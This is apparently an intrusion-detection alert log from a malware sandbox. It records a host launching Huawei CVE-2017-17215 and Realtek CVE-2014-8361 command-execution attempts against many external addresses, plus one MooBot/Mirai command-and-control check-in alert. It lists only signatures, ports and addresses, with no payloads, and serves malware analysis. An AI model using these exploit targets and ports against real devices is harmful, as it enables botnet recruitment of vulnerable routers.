Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.50.130.163

Timestamp:	07/20/24-23:01:25.388680
SID:	2829579
Source Port:	56714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.201.104.199

Timestamp:	07/20/24-23:01:05.763382
SID:	2025132
Source Port:	38402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 1.6.86.123

Timestamp:	07/20/24-23:01:14.542240
SID:	2027339
Source Port:	53422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 205.146.86.254

Timestamp:	07/20/24-23:01:19.958256
SID:	2025132
Source Port:	37588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 69.82.73.167

Timestamp:	07/20/24-23:01:14.509824
SID:	2027339
Source Port:	38840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 165.40.137.113

Timestamp:	07/20/24-23:01:27.356781
SID:	2831300
Source Port:	47184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 166.150.19.163

Timestamp:	07/20/24-23:01:14.521197
SID:	2027339
Source Port:	49150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 203.129.114.89

Timestamp:	07/20/24-23:00:59.021933
SID:	2829579
Source Port:	38854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.123.127.227

Timestamp:	07/20/24-23:01:14.535851
SID:	2027339
Source Port:	60132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.154.31.142

Timestamp:	07/20/24-23:01:27.226586
SID:	2829579
Source Port:	41492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.71.38.105

Timestamp:	07/20/24-23:01:27.356781
SID:	2027339
Source Port:	44854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.26.5.38

Timestamp:	07/20/24-23:01:06.205306
SID:	2027339
Source Port:	33916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.177.232.220

Timestamp:	07/20/24-23:01:32.213464
SID:	2829579
Source Port:	33884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.32.160.8

Timestamp:	07/20/24-23:01:22.737021
SID:	2829579
Source Port:	59078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.87.236.58

Timestamp:	07/20/24-23:01:27.276711
SID:	2835222
Source Port:	36792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.130.84

Timestamp:	07/20/24-23:01:36.799485
SID:	2829579
Source Port:	51050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.112.213.237

Timestamp:	07/20/24-23:01:06.209400
SID:	2027339
Source Port:	60250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.52.28

Timestamp:	07/20/24-23:01:22.810997
SID:	2829579
Source Port:	40534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.15.196.122

Timestamp:	07/20/24-23:01:36.799485
SID:	2835222
Source Port:	43088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.38.215

Timestamp:	07/20/24-23:01:15.063530
SID:	2829579
Source Port:	54600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.223.139.197

Timestamp:	07/20/24-23:01:20.444947
SID:	2025132
Source Port:	55950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.130.93.53

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	53904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.95.177.24

Timestamp:	07/20/24-23:01:19.210879
SID:	2027339
Source Port:	53604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 47.216.94.0

Timestamp:	07/20/24-23:01:06.151660
SID:	2025132
Source Port:	44348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.161.207.179

Timestamp:	07/20/24-23:01:14.998326
SID:	2829579
Source Port:	44852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 37.205.184.129

Timestamp:	07/20/24-23:01:14.533279
SID:	2027339
Source Port:	42366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 138.35.105.236

Timestamp:	07/20/24-23:00:59.023356
SID:	2829579
Source Port:	52376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 138.96.171.141

Timestamp:	07/20/24-23:01:14.559539
SID:	2831300
Source Port:	59584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 220.26.7.227

Timestamp:	07/20/24-23:01:14.531479
SID:	2831300
Source Port:	41428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.86.64.87

Timestamp:	07/20/24-23:01:14.527949
SID:	2027339
Source Port:	46836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.227.182.51

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	47812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.215.77.6

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	50010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 100.58.169.89

Timestamp:	07/20/24-23:01:14.505885
SID:	2027339
Source Port:	34902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.179.173

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	53524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.218.91.167

Timestamp:	07/20/24-23:01:27.229449
SID:	2835222
Source Port:	37706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 51.65.47.196

Timestamp:	07/20/24-23:01:06.606759
SID:	2025132
Source Port:	48704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.102.71.84

Timestamp:	07/20/24-23:01:25.414724
SID:	2829579
Source Port:	49412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.255.114.202

Timestamp:	07/20/24-23:00:59.021164
SID:	2835222
Source Port:	56172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 195.23.46.104

Timestamp:	07/20/24-23:01:22.743882
SID:	2835222
Source Port:	48032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.150.31.80

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	34900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.148.73.239

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	47146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.206.228.120

Timestamp:	07/20/24-23:01:36.798333
SID:	2829579
Source Port:	33400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.105.40

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	46140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 157.51.202.158

Timestamp:	07/20/24-23:01:19.625770
SID:	2027339
Source Port:	33640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.91.71.217

Timestamp:	07/20/24-23:01:06.809008
SID:	2835222
Source Port:	39856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 77.121.237.8

Timestamp:	07/20/24-23:01:27.354949
SID:	2831300
Source Port:	51096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.45.247.117

Timestamp:	07/20/24-23:01:06.801543
SID:	2829579
Source Port:	48278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.73.195.232

Timestamp:	07/20/24-23:01:06.264587
SID:	2027339
Source Port:	41372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.255.9.44

Timestamp:	07/20/24-23:01:06.799605
SID:	2829579
Source Port:	54526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.121.237.8

Timestamp:	07/20/24-23:01:19.370995
SID:	2027339
Source Port:	50368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 14.2.30.96

Timestamp:	07/20/24-23:01:06.194003
SID:	2025132
Source Port:	35384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:32.132516
SID:	2030490
Source Port:	36196
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.212.55.61

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	34262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.187.2.103

Timestamp:	07/20/24-23:00:59.022255
SID:	2835222
Source Port:	57130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 180.115.139.253

Timestamp:	07/20/24-23:01:07.357587
SID:	2027339
Source Port:	57700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.194.122.151

Timestamp:	07/20/24-23:01:07.491149
SID:	2027339
Source Port:	46874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.113.47.127

Timestamp:	07/20/24-23:01:06.804997
SID:	2829579
Source Port:	52250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 40.11.215.79

Timestamp:	07/20/24-23:01:14.506916
SID:	2027339
Source Port:	47204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 148.238.53.45

Timestamp:	07/20/24-23:01:27.353289
SID:	2027339
Source Port:	45900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.101.65.229

Timestamp:	07/20/24-23:01:36.808711
SID:	2835222
Source Port:	51588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.214.218

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	51268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.221.77

Timestamp:	07/20/24-23:01:25.390544
SID:	2829579
Source Port:	41820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 91.73.86.81

Timestamp:	07/20/24-23:01:05.552200
SID:	2027339
Source Port:	37294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.18.219

Timestamp:	07/20/24-23:01:22.746773
SID:	2829579
Source Port:	57406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.26.124.173

Timestamp:	07/20/24-23:01:02.685657
SID:	2835222
Source Port:	44042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.201.13

Timestamp:	07/20/24-23:01:36.855169
SID:	2835222
Source Port:	58676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 151.30.84.182

Timestamp:	07/20/24-23:01:36.850100
SID:	2835222
Source Port:	44266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.141.132.83

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	54996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.250.244.14

Timestamp:	07/20/24-23:01:06.798720
SID:	2829579
Source Port:	42640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 186.183.79.214

Timestamp:	07/20/24-23:01:20.418133
SID:	2027339
Source Port:	42426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.83.252.74

Timestamp:	07/20/24-23:01:27.237698
SID:	2835222
Source Port:	51644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.163.250.104

Timestamp:	07/20/24-23:01:22.797406
SID:	2835222
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 79.212.148.111

Timestamp:	07/20/24-23:01:07.304193
SID:	2025132
Source Port:	46714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.161.205.189

Timestamp:	07/20/24-23:01:14.559132
SID:	2027339
Source Port:	44004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.164.81

Timestamp:	07/20/24-23:01:22.819750
SID:	2835222
Source Port:	57852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.132.29.177

Timestamp:	07/20/24-23:01:27.263646
SID:	2829579
Source Port:	49878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.130.20.81

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	47324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.204.6.4

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	32842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 137.137.144.212

Timestamp:	07/20/24-23:01:05.995422
SID:	2027339
Source Port:	55744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.247.171.83

Timestamp:	07/20/24-23:01:08.455372
SID:	2829579
Source Port:	60768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.184.88.81

Timestamp:	07/20/24-23:00:59.023270
SID:	2829579
Source Port:	59968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 212.212.121.173

Timestamp:	07/20/24-23:01:06.798414
SID:	2829579
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.140.1

Timestamp:	07/20/24-23:01:06.841059
SID:	2829579
Source Port:	54588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.206.254.210

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	55916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 162.120.56.216

Timestamp:	07/20/24-23:01:04.161259
SID:	2025132
Source Port:	50584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.103.24.138

Timestamp:	07/20/24-23:01:32.257456
SID:	2835222
Source Port:	38010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.156.35.88

Timestamp:	07/20/24-23:01:27.355018
SID:	2027339
Source Port:	33976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.37.95.226

Timestamp:	07/20/24-23:01:36.781974
SID:	2829579
Source Port:	36944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.99.41.99

Timestamp:	07/20/24-23:01:06.799605
SID:	2829579
Source Port:	32820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.227.245

Timestamp:	07/20/24-23:01:17.785461
SID:	2835222
Source Port:	60746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.232.34.106

Timestamp:	07/20/24-23:01:36.785491
SID:	2829579
Source Port:	44562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 222.17.83.67

Timestamp:	07/20/24-23:01:15.000002
SID:	2835222
Source Port:	40170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 35.206.55.83

Timestamp:	07/20/24-23:01:07.342040
SID:	2027339
Source Port:	57096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.31.235

Timestamp:	07/20/24-23:01:14.998674
SID:	2835222
Source Port:	35204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.223.239

Timestamp:	07/20/24-23:01:04.848080
SID:	2829579
Source Port:	35742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 50.236.24.191

Timestamp:	07/20/24-23:01:07.419109
SID:	2027339
Source Port:	58454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 68.30.100.71

Timestamp:	07/20/24-23:01:14.521197
SID:	2027339
Source Port:	49090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.208.118.243

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	39886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 74.253.225.130

Timestamp:	07/20/24-23:01:14.517249
SID:	2831300
Source Port:	59482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 110.255.94.235

Timestamp:	07/20/24-23:01:17.786876
SID:	2835222
Source Port:	59512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.125.89.203

Timestamp:	07/20/24-23:01:02.661070
SID:	2829579
Source Port:	51910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

